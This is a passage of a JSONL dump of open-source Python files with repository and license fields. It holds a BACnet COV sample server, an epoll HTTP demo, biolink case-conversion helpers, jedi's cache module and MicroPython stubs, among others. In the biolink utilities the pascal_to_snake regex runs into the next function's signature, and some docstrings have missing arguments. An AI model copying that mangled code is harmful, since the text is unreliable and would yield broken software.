'*(34-prog) + ']')\n stdscr.refresh()\n program = ProgramState(stdscr, bv)\n else:\n raise IOError(\"File does not exist.\")\n else:\n program = ProgramState(stdscr)\n\n key = \"\"\n while program.is_running:\n # Input Filtering\n try:\n key = stdscr.getkey()\n except curses.error as err:\n if not str(err) == \"no input\":\n raise curses.error(str(err))\n else:\n key = \"\" # Clear Key Buffer\n\n # Rendering and input\n program.parseInput(key)\n program.render()\n curses.doupdate()\n\n\nif __name__ == \"__main__\":\n background = \"2a2a2a\"\n text = \"e0e0e0\"\n curses.wrapper(main)\n", "source": "psifertex/nehebn2", "license": "MIT"}
+{"text": "#!/usr/bin/env python\n\n\"\"\"\nThis sample application is a server that supports COV notification services.\nThe console accepts commands that change the properties of an object that\ntriggers the notifications.\n\"\"\"\n\nimport time\nfrom threading import Thread\n\nfrom bacpypes.debugging import bacpypes_debugging, ModuleLogger\nfrom bacpypes.consolelogging import ConfigArgumentParser\nfrom bacpypes.consolecmd import ConsoleCmd\n\nfrom bacpypes.core import run, deferred, enable_sleeping\nfrom bacpypes.task import RecurringTask\n\nfrom bacpypes.app import BIPSimpleApplication\nfrom bacpypes.object import AnalogValueObject, BinaryValueObject\nfrom bacpypes.local.device import LocalDeviceObject\nfrom bacpypes.service.cov import ChangeOfValueServices\n\n# some debugging\n_debug = 0\n_log = ModuleLogger(globals())\n\n# test globals\ntest_av = None\ntest_bv = None\ntest_application = None\n\n#\n# SubscribeCOVApplication\n#\n\n@bacpypes_debugging\nclass SubscribeCOVApplication(BIPSimpleApplication, ChangeOfValueServices):\n pass\n\n#\n# COVConsoleCmd\n#\n\n@bacpypes_debugging\nclass COVConsoleCmd(ConsoleCmd):\n\n def do_status(self, args):\n \"\"\"status\"\"\"\n args = args.split()\n if _debug: COVConsoleCmd._debug(\"do_status %r\", args)\n global test_application\n\n # dump from the COV detections dict\n for obj_ref, cov_detection in test_application.cov_detections.items():\n print(\"{} {}\".format(obj_ref.objectIdentifier, obj_ref))\n\n for cov_subscription in cov_detection.cov_subscriptions:\n print(\" {} proc_id={} confirmed={} lifetime={}\".format(\n cov_subscription.client_addr,\n cov_subscription.proc_id,\n cov_subscription.confirmed,\n cov_subscription.lifetime,\n ))\n\n def do_trigger(self, args):\n \"\"\"trigger object_name\"\"\"\n args = args.split()\n if _debug: COVConsoleCmd._debug(\"do_trigger %r\", args)\n global test_application\n\n if not args:\n print(\"object name required\")\n return\n\n obj = test_application.get_object_name(args[0])\n if not obj:\n print(\"no such object\")\n return\n\n # get the detection algorithm object\n cov_detection = test_application.cov_detections.get(obj, None)\n if (not cov_detection) or (len(cov_detection.cov_subscriptions) == 0):\n print(\"no subscriptions for that object\")\n return\n\n # tell it to send out notifications\n cov_detection.send_cov_notifications()\n\n def do_set(self, args):\n \"\"\"set object_name [ . ] property_name [ = ] value\"\"\"\n args = args.split()\n if _debug: COVConsoleCmd._debug(\"do_set %r\", args)\n global test_application\n\n try:\n object_name = args.pop(0)\n if '.' in object_name:\n object_name, property_name = object_name.split('.')\n else:\n property_name = args.pop(0)\n if _debug: COVConsoleCmd._debug(\" - object_name: %r\", object_name)\n if _debug: COVConsoleCmd._debug(\" - property_name: %r\", property_name)\n\n obj = test_application.get_object_name(object_name)\n if _debug: COVConsoleCmd._debug(\" - obj: %r\", obj)\n if not obj:\n raise RuntimeError(\"object not found: %r\" % (object_name,))\n\n datatype = obj.get_datatype(property_name)\n if _debug: COVConsoleCmd._debug(\" - datatype: %r\", datatype)\n if not datatype:\n raise RuntimeError(\"not a property: %r\" % (property_name,))\n\n # toss the equals\n if args[0] == '=':\n args.pop(0)\n\n # evaluate the value\n value = eval(args.pop(0))\n if _debug: COVConsoleCmd._debug(\" - raw value: %r\", value)\n\n # see if it can be built\n obj_value = datatype(value)\n if _debug: COVConsoleCmd._debug(\" - obj_value: %r\", obj_value)\n\n # normalize\n value = obj_value.value\n if _debug: COVConsoleCmd._debug(\" - normalized value: %r\", value)\n\n # change the value\n setattr(obj, property_name, value)\n\n except IndexError:\n print(COVConsoleCmd.do_set.__doc__)\n except Exception as err:\n print(\"exception: %s\" % (err,))\n\n def do_write(self, args):\n \"\"\"write object_name [ . ] property [ = ] value\"\"\"\n args = args.split()\n if _debug: COVConsoleCmd._debug(\"do_set %r\", args)\n global test_application\n\n try:\n object_name = args.pop(0)\n if '.' in object_name:\n object_name, property_name = object_name.split('.')\n else:\n property_name = args.pop(0)\n if _debug: COVConsoleCmd._debug(\" - object_name: %r\", object_name)\n if _debug: COVConsoleCmd._debug(\" - property_name: %r\", property_name)\n\n obj = test_application.get_object_name(object_name)\n if _debug: COVConsoleCmd._debug(\" - obj: %r\", obj)\n if not obj:\n raise RuntimeError(\"object not found: %r\" % (object_name,))\n\n datatype = obj.get_datatype(property_name)\n if _debug: COVConsoleCmd._debug(\" - datatype: %r\", datatype)\n if not datatype:\n raise RuntimeError(\"not a property: %r\" % (property_name,))\n\n # toss the equals\n if args[0] == '=':\n args.pop(0)\n\n # evaluate the value\n value = eval(args.pop(0))\n if _debug: COVConsoleCmd._debug(\" - raw value: %r\", value)\n\n # see if it can be built\n obj_value = datatype(value)\n if _debug: COVConsoleCmd._debug(\" - obj_value: %r\", obj_value)\n\n # normalize\n value = obj_value.value\n if _debug: COVConsoleCmd._debug(\" - normalized value: %r\", value)\n\n # pass it along\n obj.WriteProperty(property_name, value)\n\n except IndexError:\n print(COVConsoleCmd.do_write.__doc__)\n except Exception as err:\n print(\"exception: %s\" % (err,))\n\n\n@bacpypes_debugging\nclass TestAnalogValueTask(RecurringTask):\n\n \"\"\"\n An instance of this class is created when '--avtask ' is\n specified as a command line argument. Every seconds it\n changes the value of the test_av present value.\n \"\"\"\n\n def __init__(self, interval):\n if _debug: TestAnalogValueTask._debug(\"__init__ %r\", interval)\n RecurringTask.__init__(self, interval * 1000)\n\n # make a list of test values\n self.test_values = list(float(i * 10) for i in range(10))\n\n def process_task(self):\n if _debug: TestAnalogValueTask._debug(\"process_task\")\n global test_av\n\n # pop the next value\n next_value = self.test_values.pop(0)\n self.test_values.append(next_value)\n if _debug: TestAnalogValueTask._debug(\" - next_value: %r\", next_value)\n\n # change the point\n test_av.presentValue = next_value\n\n\n@bacpypes_debugging\nclass TestAnalogValueThread(Thread):\n\n \"\"\"\n An instance of this class is created when '--avthread ' is\n specified as a command line argument. Every seconds it\n changes the value of the test_av present value.\n \"\"\"\n\n def __init__(self, interval):\n if _debug: TestAnalogValueThread._debug(\"__init__ %r\", interval)\n Thread.__init__(self)\n\n # runs as a daemon\n self.daemon = True\n\n # save the interval\n self.interval = interval\n\n # make a list of test values\n self.test_values = list(100.0 + float(i * 10) for i in range(10))\n\n def run(self):\n if _debug: TestAnalogValueThread._debug(\"run\")\n global test_av\n\n while True:\n # pop the next value\n next_value = self.test_values.pop(0)\n self.test_values.append(next_value)\n if _debug: TestAnalogValueThread._debug(\" - next_value: %r\", next_value)\n\n # change the point\n test_av.presentValue = next_value\n\n # sleep\n time.sleep(self.interval)\n\n\n@bacpypes_debugging\nclass TestBinaryValueTask(RecurringTask):\n\n \"\"\"\n An instance of this class is created when '--bvtask ' is\n specified as a command line argument. Every seconds it\n changes the value of the test_bv present value.\n \"\"\"\n\n def __init__(self, interval):\n if _debug: TestBinaryValueTask._debug(\"__init__ %r\", interval)\n RecurringTask.__init__(self, interval * 1000)\n\n # save the interval\n self.interval = interval\n\n # make a list of test values\n self.test_values = [True, False]\n\n def process_task(self):\n if _debug: TestBinaryValueTask._debug(\"process_task\")\n global test_bv\n\n # pop the next value\n next_value = self.test_values.pop(0)\n self.test_values.append(next_value)\n if _debug: TestBinaryValueTask._debug(\" - next_value: %r\", next_value)\n\n # change the point\n test_bv.presentValue = next_value\n\n\n@bacpypes_debugging\nclass TestBinaryValueThread(RecurringTask, Thread):\n\n \"\"\"\n An instance of this class is created when '--bvthread ' is\n specified as a command line argument. Every seconds it\n changes the value of the test_bv present value.\n \"\"\"\n\n def __init__(self, interval):\n if _debug: TestBinaryValueThread._debug(\"__init__ %r\", interval)\n Thread.__init__(self)\n\n # runs as a daemon\n self.daemon = True\n\n # save the interval\n self.interval = interval\n\n # make a list of test values\n self.test_values = [True, False]\n\n def run(self):\n if _debug: TestBinaryValueThread._debug(\"run\")\n global test_bv\n\n while True:\n # pop the next value\n next_value = self.test_values.pop(0)\n self.test_values.append(next_value)\n if _debug: TestBinaryValueThread._debug(\" - next_value: %r\", next_value)\n\n # change the point\n test_bv.presentValue = next_value\n\n # sleep\n time.sleep(self.interval)\n\n\ndef main():\n global test_av, test_bv, test_application\n\n # make a parser\n parser = ConfigArgumentParser(description=__doc__)\n parser.add_argument(\"--console\",\n action=\"store_true\",\n default=False,\n help=\"create a console\",\n )\n\n # analog value task and thread\n parser.add_argument(\"--avtask\", type=float,\n help=\"analog value recurring task\",\n )\n parser.add_argument(\"--avthread\", type=float,\n help=\"analog value thread\",\n )\n\n # analog value task and thread\n parser.add_argument(\"--bvtask\", type=float,\n help=\"binary value recurring task\",\n )\n parser.add_argument(\"--bvthread\", type=float,\n help=\"binary value thread\",\n )\n\n # provide a different spin value\n parser.add_argument(\"--spin\", type=float,\n help=\"spin time\",\n default=1.0,\n )\n\n # parse the command line arguments\n args = parser.parse_args()\n\n if _debug: _log.debug(\"initialization\")\n if _debug: _log.debug(\" - args: %r\", args)\n\n # make a device object\n this_device = LocalDeviceObject(ini=args.ini)\n if _debug: _log.debug(\" - this_device: %r\", this_device)\n\n # make a sample application\n test_application = SubscribeCOVApplication(this_device, args.ini.address)\n\n # make an analog value object\n test_av = AnalogValueObject(\n objectIdentifier=('analogValue', 1),\n objectName='av',\n presentValue=0.0,\n statusFlags=[0, 0, 0, 0],\n covIncrement=1.0,\n )\n _log.debug(\" - test_av: %r\", test_av)\n\n # add it to the device\n test_application.add_object(test_av)\n _log.debug(\" - object list: %r\", this_device.objectList)\n\n # make a binary value object\n test_bv = BinaryValueObject(\n objectIdentifier=('binaryValue', 1),\n objectName='bv',\n presentValue='inactive',\n statusFlags=[0, 0, 0, 0],\n )\n _log.debug(\" - test_bv: %r\", test_bv)\n\n # add it to the device\n test_application.add_object(test_bv)\n\n # make a console\n if args.console:\n test_console = COVConsoleCmd()\n _log.debug(\" - test_console: %r\", test_console)\n\n # enable sleeping will help with threads\n enable_sleeping()\n\n # analog value task\n if args.avtask:\n test_av_task = TestAnalogValueTask(args.avtask)\n test_av_task.install_task()\n\n # analog value thread\n if args.avthread:\n test_av_thread = TestAnalogValueThread(args.avthread)\n deferred(test_av_thread.start)\n\n # binary value task\n if args.bvtask:\n test_bv_task = TestBinaryValueTask(args.bvtask)\n test_bv_task.install_task()\n\n # binary value thread\n if args.bvthread:\n test_bv_thread = TestBinaryValueThread(args.bvthread)\n deferred(test_bv_thread.start)\n\n _log.debug(\"running\")\n\n run(args.spin)\n\n _log.debug(\"fini\")\n\n\nif __name__ == \"__main__\":\n main()\n", "source": "noelli/bacpypes", "license": "MIT"}
+{"text": "\n\"\"\"\nSelfium Helper Files\n~~~~~~~~~~~~~~~~~~~\nAll Helper Files used in Selfium project;\n:copyright: (c) 2021 - Caillou and ZeusHay;\n:license: MIT, see LICENSE for more details.\n\"\"\"\n\nfrom .getUser import *\nfrom .getGuild import *\nfrom .params import *\nfrom .notify import *\nfrom .sendEmbed import *\nfrom .isStaff import *", "source": "Hacker-1202/Selfium", "license": "MIT"}
+{"text": "\"\"\"\nModule: 'ubinascii' on esp32 1.10.0\n\"\"\"\n# MCU: (sysname='esp32', nodename='esp32', release='1.10.0', version='v1.10 on 2019-01-25', machine='ESP32 module with ESP32')\n# Stubber: 1.2.0\ndef a2b_base64():\n pass\n\ndef b2a_base64():\n pass\n\ndef crc32():\n pass\n\ndef hexlify():\n pass\n\ndef unhexlify():\n pass\n\n", "source": "TheVinhLuong102/micropy-stubs", "license": "MIT"}
+{"text": "# coding=utf8\r\n\r\nimport socket\r\nimport select\r\nfrom datetime import datetime\r\nfrom datetime import timedelta\r\n\r\nEOL = b'\\n\\n'\r\nresponse = b'HTTP/1.0 200 OK\\nDate: Mon, 1 Jan 1996 01:01:01 GMT\\n'\r\nresponse += b'Content-Type: text/plain\\nContent-Length: 13\\n\\n'\r\nresponse += b'Hello, world!\\n'\r\n\r\n# \u521b\u5efa\u5957\u63a5\u5b57\u5bf9\u8c61\u5e76\u7ed1\u5b9a\u76d1\u542c\u7aef\u53e3\r\nserversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\nserversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\nserversocket.bind(('0.0.0.0', 8080))\r\nserversocket.listen(1)\r\nserversocket.setblocking(0)\r\n\r\n# \u521b\u5efaepoll\u5bf9\u8c61\uff0c\u5e76\u6ce8\u518csocket\u5bf9\u8c61\u7684 epoll\u53ef\u8bfb\u4e8b\u4ef6\r\nepoll = select.epoll()\r\nepoll.register(serversocket.fileno(), select.EPOLLIN)\r\n\r\ntry:\r\n connections = {}\r\n requests = {}\r\n responses = {}\r\n while True:\r\n # \u4e3b\u5faa\u73af\uff0cepoll\u7684\u7cfb\u7edf\u8c03\u7528\uff0c\u4e00\u65e6\u6709\u7f51\u7edcIO\u4e8b\u4ef6\u53d1\u751f\uff0cpoll\u8c03\u7528\u8fd4\u56de\u3002\u8fd9\u662f\u548cselect\u7cfb\u7edf\u8c03\u7528\u7684\u5173\u952e\u533a\u522b\r\n events = epoll.poll(1)\r\n # \u901a\u8fc7\u4e8b\u4ef6\u901a\u77e5\u83b7\u5f97\u76d1\u542c\u7684\u6587\u4ef6\u63cf\u8ff0\u7b26\uff0c\u8fdb\u800c\u5904\u7406\r\n for fileno, event in events:\r\n # \u6ce8\u518c\u76d1\u542c\u7684socket\u5bf9\u8c61\u53ef\u8bfb\uff0c\u83b7\u53d6\u8fde\u63a5\uff0c\u5e76\u6ce8\u518c\u8fde\u63a5\u7684\u53ef\u8bfb\u4e8b\u4ef6\r\n if fileno == serversocket.fileno():\r\n connection, address = serversocket.accept()\r\n connection.setblocking(0)\r\n epoll.register(connection.fileno(), select.EPOLLIN)\r\n connections[connection.fileno()] = connection\r\n requests[connection.fileno()] = b''\r\n responses[connection.fileno()] = response\r\n elif event & select.EPOLLIN:\r\n # \u8fde\u63a5\u5bf9\u8c61\u53ef\u8bfb\uff0c\u5904\u7406\u5ba2\u6237\u7aef\u53d1\u751f\u7684\u4fe1\u606f\uff0c\u5e76\u6ce8\u518c\u8fde\u63a5\u5bf9\u8c61\u53ef\u5199\r\n try:\r\n requests[fileno] += connections[fileno].recv(1024)\r\n if EOL in requests[fileno]:\r\n epoll.modify(fileno, event | select.EPOLLOUT)\r\n print(requests[fileno])\r\n except Exception as e:\r\n print(e)\r\n epoll.unregister(fileno)\r\n del connections[fileno]\r\n elif event & select.EPOLLOUT:\r\n # \u8fde\u63a5\u5bf9\u8c61\u53ef\u5199\u4e8b\u4ef6\u53d1\u751f\uff0c\u53d1\u9001\u6570\u636e\u5230\u5ba2\u6237\u7aef\r\n try:\r\n byteswritten = connections[fileno].send(responses[fileno])\r\n # responses[fileno] = responses[fileno][byteswritten:]\r\n # if len(responses[fileno]) == 0:\r\n # epoll.modify(fileno, 0)\r\n # connections[fileno].shutdown(socket.SHUT_RDWR)\r\n except Exception as e:\r\n print(e)\r\n # epoll.modify(fileno, 0)\r\n epoll.unregister(fileno)\r\n del connections[fileno]\r\n elif event & select.EPOLLHUP:\r\n epoll.unregister(fileno)\r\n connections[fileno].close()\r\n del connections[fileno]\r\nfinally:\r\n epoll.unregister(serversocket.fileno())\r\n epoll.close()\r\n serversocket.close()\r\n", "source": "zhtsh/test-examples", "license": "Apache-2.0"}
+{"text": "\"\"\"Utilities.\"\"\"\nfrom functools import wraps\nimport re\nfrom typing import Callable, List, Optional, TypeVar, Union\n\nfrom .data import (\n all_classes, all_slots,\n)\n\n\ndef pascal_to_snake(s: str, sep: str = \"_\") -> str:\n \"\"\"Convert Pascal case to snake case.\n\n Assumes that\n a) all words are either all-lowercase or all-uppercase\n b) all 1-letter words are lowercase\n c) there are no adjacent 1-letter words\n d) there are no adjacent uppercase words\n\n Examples:\n PhenotypicFeature -> phenotypic_feature\n RNAProduct -> RNA_product\n FeedACamel -> feed_a_camel\n \n Optionally specify `sep` (default \"_\").\n \"\"\"\n # add an underscore before each capital letter\n underscored = re.sub(\n r\"(? str:\n \"\"\"Convert snake case to Pascal case.\n\n This is the inverse of pascal_to_snake() when its assumptions\n are true.\n \n Optionally specify `sep` (default \"_\").\n \"\"\"\n return re.sub(\n fr\"(?:^|{sep})([a-zA-Z])\",\n lambda match: match.group(1).upper(),\n s\n )\n\n\ndef guess_casing(s: str) -> str:\n \"\"\"Guess snake case or Pascal case.\"\"\"\n if \"_\" in s:\n return \"snake\"\n if any(c.isupper() for c in s):\n return \"pascal\"\n return \"snake\"\n\n\ndef normalize(s: str) -> str:\n \"\"\"Normalize string input.\"\"\"\n if s.startswith(\"biolink:\"):\n s = s[8:]\n if \"_\" in s:\n # it's snake case\n return s.replace(\"_\", \" \")\n if \" \" in s:\n return s\n return pascal_to_snake(s, \" \")\n\n\nT = TypeVar(\"T\")\n\n\ndef listify(func: Callable) -> Callable:\n \"\"\"Expand function to take list of arguments.\"\"\"\n @wraps(func)\n def wrapper(arg: Union[T, List[T]], **kwargs) -> Union[T, List[T]]:\n \"\"\"Apply function to each element in list.\"\"\"\n if isinstance(arg, list):\n return [\n func(el, **kwargs)\n for el in arg\n ]\n else:\n return func(arg, **kwargs)\n return wrapper\n\n\n@listify\ndef format(s: str, case: Optional[str] = None, **kwargs) -> str:\n \"\"\"Format space-case string as biolink CURIE.\"\"\"\n if isinstance(case, str) and case.lower() == \"pascal\":\n return \"biolink:\" + snake_to_pascal(s, \" \")\n elif isinstance(case, str) and case.lower() == \"snake\":\n return \"biolink:\" + s.replace(\" \", \"_\")\n else:\n return \"biolink:\" + s\n\n\ndef with_formatting():\n \"\"\"Add format conversions to method.\"\"\"\n def decorator(func: Callable) -> Callable:\n \"\"\"Generate decorator.\"\"\"\n @wraps(func)\n def wrapper(self, s: str, *args, formatted=False, **kwargs):\n \"\"\"Wrap in format conversions.\"\"\"\n case = guess_casing(s)\n normalized = normalize(s)\n output: Union[str, List[str]] = func(self, normalized, *args, **kwargs)\n if formatted:\n if normalized in all_classes:\n output = format(output, case=\"pascal\")\n elif normalized in all_slots:\n output = format(output, case=\"snake\")\n else:\n output = format(output, case=case)\n return output\n return wrapper\n return decorator\n", "source": "patrickkwang/bmt-lite", "license": "MIT"}
+{"text": "\"\"\"\nThis caching is very important for speed and memory optimizations. There's\nnothing really spectacular, just some decorators. The following cache types are\navailable:\n\n- module caching (`load_parser` and `save_parser`), which uses pickle and is\n really important to assure low load times of modules like ``numpy``.\n- ``time_cache`` can be used to cache something for just a limited time span,\n which can be useful if there's user interaction and the user cannot react\n faster than a certain time.\n\nThis module is one of the reasons why |jedi| is not thread-safe. As you can see\nthere are global variables, which are holding the cache information. Some of\nthese variables are being cleaned after every API usage.\n\"\"\"\nimport time\nimport os\nimport sys\nimport json\nimport hashlib\nimport gc\nimport inspect\nimport shutil\nimport re\ntry:\n import cPickle as pickle\nexcept ImportError:\n import pickle\n\nfrom jedi import settings\nfrom jedi import common\nfrom jedi import debug\n\n_time_caches = {}\n\n# for fast_parser, should not be deleted\nparser_cache = {}\n\n\nclass ParserCacheItem(object):\n def __init__(self, parser, change_time=None):\n self.parser = parser\n if change_time is None:\n change_time = time.time()\n self.change_time = change_time\n\n\ndef clear_time_caches(delete_all=False):\n \"\"\" Jedi caches many things, that should be completed after each completion\n finishes.\n\n :param delete_all: Deletes also the cache that is normally not deleted,\n like parser cache, which is important for faster parsing.\n \"\"\"\n global _time_caches\n\n if delete_all:\n for cache in _time_caches.values():\n cache.clear()\n parser_cache.clear()\n else:\n # normally just kill the expired entries, not all\n for tc in _time_caches.values():\n # check time_cache for expired entries\n for key, (t, value) in list(tc.items()):\n if t < time.time():\n # delete expired entries\n del tc[key]\n\n\ndef time_cache(time_add_setting):\n \"\"\"\n s\n This decorator works as follows: Call it with a setting and after that\n use the function with a callable that returns the key.\n But: This function is only called if the key is not available. After a\n certain amount of time (`time_add_setting`) the cache is invalid.\n \"\"\"\n def _temp(key_func):\n dct = {}\n _time_caches[time_add_setting] = dct\n\n def wrapper(*args, **kwargs):\n generator = key_func(*args, **kwargs)\n key = next(generator)\n try:\n expiry, value = dct[key]\n if expiry > time.time():\n return value\n except KeyError:\n pass\n\n value = next(generator)\n time_add = getattr(settings, time_add_setting)\n if key is not None:\n dct[key] = time.time() + time_add, value\n return value\n return wrapper\n return _temp\n\n\n@time_cache(\"call_signatures_validity\")\ndef cache_call_signatures(evaluator, call, source, user_pos):\n \"\"\"This function calculates the cache key.\"\"\"\n index = user_pos[0] - 1\n lines = common.splitlines(source)\n\n before_cursor = lines[index][:user_pos[1]]\n other_lines = lines[call.start_pos[0]:index]\n whole = '\\n'.join(other_lines + [before_cursor])\n before_bracket = re.match(r'.*\\(', whole, re.DOTALL)\n\n module_path = call.get_parent_until().path\n yield None if module_path is None else (module_path, before_bracket, call.start_pos)\n yield evaluator.eval_element(call)\n\n\ndef underscore_memoization(func):\n \"\"\"\n Decorator for methods::\n\n class A(object):\n def x(self):\n if self._x:\n self._x = 10\n return self._x\n\n Becomes::\n\n class A(object):\n @underscore_memoization\n def x(self):\n return 10\n\n A now has an attribute ``_x`` written by this decorator.\n \"\"\"\n name = '_' + func.__name__\n\n def wrapper(self):\n try:\n return getattr(self, name)\n except AttributeError:\n result = func(self)\n if inspect.isgenerator(result):\n result = list(result)\n setattr(self, name, result)\n return result\n\n return wrapper\n\n\ndef memoize_method(method):\n \"\"\"A normal memoize function.\"\"\"\n def wrapper(self, *args, **kwargs):\n dct = self.__dict__.setdefault('_memoize_method_dct', {})\n key = (args, frozenset(kwargs.items()))\n try:\n return dct[key]\n except KeyError:\n result = method(self, *args, **kwargs)\n dct[key] = result\n return result\n return wrapper\n\n\ndef memoize_function(obj):\n \"\"\" A normal memoize function for memoizing free functions. \"\"\"\n cache = obj.cache = {}\n\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\ndef cache_star_import(func):\n @time_cache(\"star_import_cache_validity\")\n def wrapper(self):\n yield self.base # The cache key\n yield func(self)\n return wrapper\n\n\ndef _invalidate_star_import_cache_module(module, only_main=False):\n \"\"\" Important if some new modules are being reparsed \"\"\"\n try:\n t, modules = _time_caches['star_import_cache_validity'][module]\n except KeyError:\n pass\n else:\n del _time_caches['star_import_cache_validity'][module]\n\n\ndef invalidate_star_import_cache(path):\n \"\"\"On success returns True.\"\"\"\n try:\n parser_cache_item = parser_cache[path]\n except KeyError:\n pass\n else:\n _invalidate_star_import_cache_module(parser_cache_item.parser.module)\n\n\ndef load_parser(path):\n \"\"\"\n Returns the module or None, if it fails.\n \"\"\"\n p_time = os.path.getmtime(path) if path else None\n try:\n parser_cache_item = parser_cache[path]\n if not path or p_time <= parser_cache_item.change_time:\n return parser_cache_item.parser\n else:\n # In case there is already a module cached and this module\n # has to be reparsed, we also need to invalidate the import\n # caches.\n _invalidate_star_import_cache_module(parser_cache_item.parser.module)\n except KeyError:\n if settings.use_filesystem_cache:\n return ParserPickling.load_parser(path, p_time)\n\n\ndef save_parser(path, parser, pickling=True):\n try:\n p_time = None if path is None else os.path.getmtime(path)\n except OSError:\n p_time = None\n pickling = False\n\n item = ParserCacheItem(parser, p_time)\n parser_cache[path] = item\n if settings.use_filesystem_cache and pickling:\n ParserPickling.save_parser(path, item)\n\n\nclass ParserPickling(object):\n\n version = 24\n \"\"\"\n Version number (integer) for file system cache.\n\n Increment this number when there are any incompatible changes in\n parser representation classes. For example, the following changes\n are regarded as incompatible.\n\n - Class name is changed.\n - Class is moved to another module.\n - Defined slot of the class is changed.\n \"\"\"\n\n def __init__(self):\n self.__index = None\n self.py_tag = 'cpython-%s%s' % sys.version_info[:2]\n \"\"\"\n Short name for distinguish Python implementations and versions.\n\n It's like `sys.implementation.cache_tag` but for Python < 3.3\n we generate something similar. See:\n http://docs.python.org/3/library/sys.html#sys.implementation\n\n .. todo:: Detect interpreter (e.g., PyPy).\n \"\"\"\n\n def load_parser(self, path, original_changed_time):\n try:\n pickle_changed_time = self._index[path]\n except KeyError:\n return None\n if original_changed_time is not None \\\n and pickle_changed_time < original_changed_time:\n # the pickle file is outdated\n return None\n\n with open(self._get_hashed_path(path), 'rb') as f:\n try:\n gc.disable()\n parser_cache_item = pickle.load(f)\n finally:\n gc.enable()\n\n debug.dbg('pickle loaded: %s', path)\n parser_cache[path] = parser_cache_item\n return parser_cache_item.parser\n\n def save_parser(self, path, parser_cache_item):\n self.__index = None\n try:\n files = self._index\n except KeyError:\n files = {}\n self._index = files\n\n with open(self._get_hashed_path(path), 'wb') as f:\n pickle.dump(parser_cache_item, f, pickle.HIGHEST_PROTOCOL)\n files[path] = parser_cache_item.change_time\n\n self._flush_index()\n\n @property\n def _index(self):\n if self.__index is None:\n try:\n with open(self._get_path('index.json')) as f:\n data = json.load(f)\n except (IOError, ValueError):\n self.__index = {}\n else:\n # 0 means version is not defined (= always delete cache):\n if data.get('version', 0) != self.version:\n self.clear_cache()\n self.__index = {}\n else:\n self.__index = data['index']\n return self.__index\n\n def _remove_old_modules(self):\n # TODO use\n change = False\n if change:\n self._flush_index(self)\n self._index # reload index\n\n def _flush_index(self):\n data = {'version': self.version, 'index': self._index}\n with open(self._get_path('index.json'), 'w') as f:\n json.dump(data, f)\n self.__index = None\n\n def clear_cache(self):\n shutil.rmtree(self._cache_directory())\n\n def _get_hashed_path(self, path):\n return self._get_path('%s.pkl' % hashlib.md5(path.encode(\"utf-8\")).hexdigest())\n\n def _get_path(self, file):\n dir = self._cache_directory()\n if not os.path.exists(dir):\n os.makedirs(dir)\n return os.path.join(dir, file)\n\n def _cache_directory(self):\n return os.path.join(settings.cache_directory, self.py_tag)\n\n\n# is a singleton\nParserPickling = ParserPickling()\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"}
+{"text": "\"\"\"Deep Q learning graph\n\nThe functions in this file can are used to create the following functions:\n\n======= act ========\n\n Function to chose an action given an observation\n\n Parameters\n ----------\n observation: object\n Observation that can be feed into the output of make_obs_ph\n stochastic: bool\n if set to False all the actions are always deterministic (default False)\n update_eps_ph: float\n update epsilon a new value, if negative not update happens\n (default: no update)\n\n Returns\n -------\n Tensor of dtype tf.int64 and shape (BATCH_SIZE,) with an action to be performed for\n every element of the batch.\n\n\n======= train =======\n\n Function that takes a transition (s,a,r,s') and optimizes Bellman equation's error:\n\n td_error = Q(s,a) - (r + gamma * max_a' Q(s', a'))\n loss = huber_loss[td_error]\n\n Parameters\n ----------\n obs_t: object\n a batch of observations\n action: np.array\n actions that were selected upon seeing obs_t.\n dtype must be int32 and shape must be (batch_size,)\n reward: np.array\n immediate reward attained after executing those actions\n dtype must be float32 and shape must be (batch_size,)\n obs_tp1: object\n observations that followed obs_t\n done: np.array\n 1 if obs_t was the last observation in the episode and 0 otherwise\n obs_tp1 gets ignored, but must be of the valid shape.\n dtype must be float32 and shape must be (batch_size,)\n weight: np.array\n imporance weights for every element of the batch (gradient is multiplied\n by the importance weight) dtype must be float32 and shape must be (batch_size,)\n\n Returns\n -------\n td_error: np.array\n a list of differences between Q(s,a) and the target in Bellman's equation.\n dtype is float32 and shape is (batch_size,)\n\n======= update_target ========\n\n copy the parameters from optimized Q function to the target Q function.\n In Q learning we actually optimize the following error:\n\n Q(s,a) - (r + gamma * max_a' Q'(s', a'))\n\n Where Q' is lagging behind Q to stablize the learning. For example for Atari\n\n Q' is set to Q once every 10000 updates training steps.\n\n\"\"\"\nimport tensorflow as tf\nimport baselines.common.tf_util as U\nimport numpy as np\n\n\ndef build_act_mf(make_obs_ph, q_func, z_noise, num_actions, scope=\"deepq\", reuse=None):\n with tf.variable_scope(scope, reuse=reuse):\n observations_ph = U.ensure_tf_input(make_obs_ph(\"observation\"))\n q, q_deterministic, v_mean, v_logvar, z_mean, z_logvar, recon_obs = q_func(observations_ph.get(), z_noise,\n num_actions,\n scope=\"q_func\",\n reuse=tf.AUTO_REUSE)\n\n act = U.function(inputs=[observations_ph,z_noise],\n outputs=[z_mean, z_logvar])\n\n return act\n\n\ndef build_train_mf(make_obs_ph, q_func, num_actions, optimizer, grad_norm_clipping=None, gamma=1.0, scope=\"mfec\",\n alpha=1.0, beta=1.0, theta=1.0, latent_dim=32, ib=True, reuse=None):\n \"\"\"Creates the train function:\n\n Parameters\n ----------\n make_obs_ph: str -> tf.placeholder or TfInput\n a function that takes a name and creates a placeholder of input with that name\n q_func: (tf.Variable, int, str, bool) -> tf.Variable\n the model that takes the following inputs:\n observation_in: object\n the output of observation placeholder\n num_actions: int\n number of actions\n scope: str\n reuse: bool\n should be passed to outer variable scope\n and returns a tensor of shape (batch_size, num_actions) with values of every action.\n num_actions: int\n number of actions\n reuse: bool\n whether or not to reuse the graph variables\n optimizer: tf.train.Optimizer\n optimizer to use for the Q-learning objective.\n grad_norm_clipping: float or None\n clip gradient norms to this value. If None no clipping is performed.\n gamma: float\n discount rate.\n double_q: bool\n if true will use Double Q Learning (https://arxiv.org/abs/1509.06461).\n In general it is a good idea to keep it enabled.\n scope: str or VariableScope\n optional scope for variable_scope.\n reuse: bool or None\n whether or not the variables should be reused. To be able to reuse the scope must be given.\n\n Returns\n -------\n act: (tf.Variable, bool, float) -> tf.Variable\n function to select and action given observation.\n` See the top of the file for details.\n train: (object, np.array, np.array, object, np.array, np.array) -> np.array\n optimize the error in Bellman's equation.\n` See the top of the file for 